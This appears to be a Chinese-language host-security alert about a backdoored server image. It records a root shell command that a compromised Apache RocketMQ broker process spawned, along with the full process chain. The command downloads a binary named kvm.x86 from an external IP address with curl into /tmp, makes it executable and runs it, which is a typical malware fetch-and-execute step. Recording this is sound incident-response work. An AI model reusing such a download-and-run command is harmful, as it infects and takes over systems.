情怀服务端镜像后门

用户名
root
命令行
sh -c $@|sh . echo cd /tmp; rm kvm.x86; curl -O http://46.23.108.244/bins/kvm.x86; chmod 777 kvm.x86; ./kvm.x86 maquenas;/bin/startfsrv.sh -c /opt/server/rocketmq/apache-rocketmq/conf/broker.conf -n 172.21.155.251:9876
进程ID
814
父进程ID
14279
进程链
-[14226] sh /opt/server/rocketmq/apache-rocketmq/bin/mqbroker -n 172.21.155.251:9876 -c /opt/server/rocketmq/apache-rocketmq/conf/broker.conf autoCreateTopicEnable=true
-[14243] sh /opt/server/rocketmq/apache-rocketmq/bin/runbroker.sh org.apache.rocketmq.broker.BrokerStartup -n 172.21.155.251:9876 -c /opt/server/rocketmq/apache-rocketmq/conf/broker.conf autoCreateTopicEnable=true
-[14279] /opt/server/jdk1.8/bin/java -server -Xms2g -Xmx2g -Xmn1g -XX:+UseG1GC -XX:G1HeapRegixss=16m -XX:G1ReservePercent=25 -XX:InitiatingHeapOccupancyPercent=30 -XX:SoftRefLRUPolicyMSPerMB=0 -verbose:gc -Xloggc:/dev/shm/rmq_broker_gc_%p_%t.log -XX:+PrintGCDetails -XX:+PrintGCDateStamps -XX:+PrintGCApplicationStoppedTime -XX:+PrintAdaptiveSizePolicy -XX:+UseGCLogFileRotation -XX:NumberOfGCLogFiles=5 -XX:GCLogFileSize=30m -XX:-OmitStackTraceInFastThrow -XX:+AlwaysPreTouch -XX:MaxDirectMemorySize=15g -XX:-UseLargePages -XX:-UseBiasedLocking -Djava.ext.dirs=/opt/server/jdk1.8/jre/lib/ext:/opt/server/rocketmq/apache-rocketmq/bin/…/lib:/opt/server/jdk1.8/lib/ext -cp .:/opt/server/rocketmq/apache-rocketmq/bin/…/conf:.:/opt/server/jdk1.8/lib/dt.jar:/opt/server/jdk1.8/lib/tools.jar org.apache.rocketmq.broker.BrokerStartup -n 172.21.155.251:9876 -c /opt/server/rocketmq/apache-rocketmq/conf/broker.conf autoCreateTopicEnable=true